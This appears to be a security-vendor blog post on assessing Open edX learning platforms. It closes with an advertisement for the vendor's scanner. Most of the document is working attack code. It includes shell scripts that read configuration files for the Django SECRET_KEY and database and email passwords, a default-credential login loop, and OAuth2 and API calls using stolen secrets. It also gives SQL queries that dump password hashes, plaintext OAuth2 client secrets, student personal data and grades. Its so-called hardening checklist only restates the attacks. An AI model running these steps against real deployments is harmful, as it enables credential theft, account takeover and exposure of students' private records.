Open edX Security Testing: Default Credentials, API Key, Database, and LMS

Open edX is the platform powering edX.org, MIT OpenCourseWare, and thousands of enterprise MOOC deployments worldwide. Key assessment areas: lms.env.json exposes the Django SECRET_KEY enabling session cookie forgery; lms.auth.json contains MySQL, MongoDB, and Redis credentials; admin/edx is a frequent default; OAuth2 client secrets may be exposed in the database; and the platform holds extensive student PII and grade records. This guide covers systematic Open edX security assessment.

Table of Contents

  1. lms.env.json and lms.auth.json Credential Extraction
  2. REST API OAuth2 and Admin Credential Assessment
  3. MySQL auth_user Hash, Student PII, and Grade Extraction
  4. Open edX Security Hardening

lms.env.json and lms.auth.json Credential Extraction

# Open edX — lms.env.json and lms.auth.json credential extraction
EDX_URL="https://lms.example.com"

# lms.env.json — Django configuration including SECRET_KEY
# Location varies by deployment method
for CONFIG_PATH in \
  "/edx/app/edxapp/lms.env.json" \
  "/edx/etc/lms.yml" \
  "/home/edx/edx-platform/lms/envs/lms.env.json" \
  "/var/edxapp/lms.env.json"; do
  if [ -f "${CONFIG_PATH}" ]; then
    echo "=== ${CONFIG_PATH} ==="
    python3 -c "
import json
d=json.load(open('${CONFIG_PATH}'))
print(f'SECRET_KEY: {d.get(\"SECRET_KEY\",\"not found\")[:40]}...')
" 2>/dev/null
  fi
done

# lms.auth.json — Database and service credentials
for AUTH_PATH in \
  "/edx/app/edxapp/lms.auth.json" \
  "/edx/etc/lms.yml" \
  "/home/edx/edx-platform/lms/envs/lms.auth.json"; do
  if [ -f "${AUTH_PATH}" ]; then
    echo "=== ${AUTH_PATH} ==="
    python3 -c "
import json
d=json.load(open('${AUTH_PATH}'))
# MySQL
db = d.get('DATABASES',{}).get('default',{})
print(f'MySQL host: {db.get(\"HOST\")}')
print(f'MySQL db: {db.get(\"NAME\")}')
print(f'MySQL user: {db.get(\"USER\")}')
print(f'MySQL pass: {str(db.get(\"PASSWORD\",\"\"))[:40]}')
# Redis
cs = d.get('CONTENTSTORE',{})
redis = d.get('CACHE_STORE',{})
print(f'MongoDB host: {d.get(\"DOC_STORE_CONFIG\",{}).get(\"host\")}')
print(f'Redis location: {d.get(\"BROKER_URL\",\"\")}')
print(f'Email host pw: {d.get(\"EMAIL_HOST_PASSWORD\",\"\")}')
" 2>/dev/null
  fi
done

# Test default admin credentials
for CRED in "admin:edx" "admin:admin" "staff:edx" "edx:edx"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${EDX_URL}/api/user/v1/account/login_session/" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"${USER}@example.com\",\"password\":\"${PASS}\"}" \
    -c /tmp/edx_c -b /tmp/edx_c 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
done

REST API OAuth2 and Admin Credential Assessment

# Open edX REST API — OAuth2 and admin credential assessment
EDX_URL="https://lms.example.com"

# Open edX REST API uses OAuth2 with client credentials
# OAuth2 clients are registered in Django admin or via management command

# Get OAuth2 access token with client credentials
CLIENT_ID="extracted-client-id"
CLIENT_SECRET="extracted-client-secret"
curl -s -X POST "${EDX_URL}/oauth2/access_token/" \
  -d "grant_type=client_credentials&client_id=${CLIENT_ID}&client_secret=${CLIENT_SECRET}&token_type=jwt" \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Access token: {d.get(\"access_token\",\"error\")[:40]}...')
print(f'Expires in: {d.get(\"expires_in\")}')
" 2>/dev/null

# With admin session — access Django admin API
ACCESS_TOKEN="extracted-oauth2-token"
curl -s "${EDX_URL}/api/user/v1/accounts" \
  -H "Authorization: JWT ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'Results: {d.get(\"count\")} users')
    for u in d.get('results',[])[:5]:
        print(f'  {u.get(\"username\")} | {u.get(\"email\")} | staff={u.get(\"is_staff\")}')
except: pass
" 2>/dev/null

# Enrollment API — list all course enrollments for a user
USERNAME="target-username"
curl -s "${EDX_URL}/api/enrollment/v1/enrollment?user=${USERNAME}" \
  -H "Authorization: JWT ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'Enrollments: {len(d) if isinstance(d,list) else \"error\"}')
    for e in (d if isinstance(d,list) else [])[:5]:
        print(f'  {e.get(\"course_id\")} — {e.get(\"mode\")}')
except: pass
" 2>/dev/null

MySQL auth_user Hash, Student PII, and Grade Extraction

# Open edX MySQL database — auth_user hash, student PII, and grade extraction
DB_PASS="extracted-db-password"
DB_NAME="edxapp"

mysql -u edxapp -p"${DB_PASS}" "${DB_NAME}" 2>/dev/null << 'EOF'
-- Open edX auth_user — all users with password hashes
SELECT u.id, u.username, u.email, u.password,
       u.is_staff, u.is_superuser, u.is_active,
       u.date_joined, u.last_login
FROM auth_user u
WHERE u.is_active = 1
ORDER BY u.id
LIMIT 20;
-- password: Django PBKDF2-SHA256 format: pbkdf2_sha256$N$salt$hash
-- is_superuser=1: full Django admin access

-- Staff and superusers
SELECT u.username, u.email, u.password,
       u.is_staff, u.is_superuser
FROM auth_user u
WHERE u.is_staff = 1 OR u.is_superuser = 1;

-- OAuth2 client secrets (DOT OAuth2 clients)
SELECT c.id, c.name, c.client_id, c.client_secret,
       c.client_type, c.authorization_grant_type,
       u.username, u.email
FROM oauth2_provider_application c
JOIN auth_user u ON u.id = c.user_id
ORDER BY c.id
LIMIT 20;
-- client_secret: plaintext OAuth2 secret for access_token endpoint

-- Student course enrollments with grades
SELECT u.username, u.email,
       ce.course_id, ce.mode as enrollment_mode,
       g.percent_grade, g.letter_grade,
       g.modified
FROM student_courseenrollment ce
JOIN auth_user u ON u.id = ce.user_id
LEFT JOIN grades_persistentcoursegrade g ON g.user_id = ce.user_id
  AND g.course_id = ce.course_id
WHERE g.percent_grade IS NOT NULL
ORDER BY u.id
LIMIT 20;

-- Student profile PII (extended user data)
SELECT u.username, u.email,
       p.name as full_name, p.gender, p.year_of_birth,
       p.country, p.level_of_education, p.goals,
       p.allow_certificate
FROM auth_user u
JOIN auth_userprofile p ON p.user_id = u.id
ORDER BY u.id
LIMIT 20;
EOF

Open edX Security Hardening

Open edX Security Hardening Checklist:
Security TestMethodRisk
lms.env.json Django SECRET_KEY extractionRead /edx/app/edxapp/lms.env.json — SECRET_KEY for Django session cookie forgery as any user including superusers; no password knowledge requiredCritical
lms.auth.json MySQL, MongoDB, Redis credential extractionRead /edx/app/edxapp/lms.auth.json — all backing service credentials; full database access to student PII, grades, and course contentCritical
oauth2_provider_application plaintext client_secret extractionMySQL SELECT client_secret FROM oauth2_provider_application — plaintext OAuth2 secrets; full API access at associated user permission levelHigh
Admin credential brute-force (admin/edx)POST /admin/ Django admin login — superuser access; all user data, course management, grade modificationHigh
auth_userprofile student PII and grades_persistentcoursegrade extractionMySQL SELECT from auth_userprofile JOIN grades_persistentcoursegrade — student names, demographics, course completion grades; FERPA/GDPR-relevant academic recordsHigh

Automate Open edX Security Testing

Ironimo tests Open edX deployments for lms.env.json Django SECRET_KEY session cookie forgery key extraction, lms.auth.json MySQL/MongoDB/Redis credential extraction, admin/edx default credential brute-force at /admin/, oauth2_provider_application plaintext OAuth2 client_secret enumeration, auth_user PBKDF2-SHA256 hash extraction with superuser identification, auth_userprofile student PII (name, gender, country, education level) access, grades_persistentcoursegrade course completion percentage extraction, MongoDB unauthenticated access assessment on port 27017, Redis unauthenticated session data access on port 6379, and Open edX version disclosure for CVE targeting.

Start free scan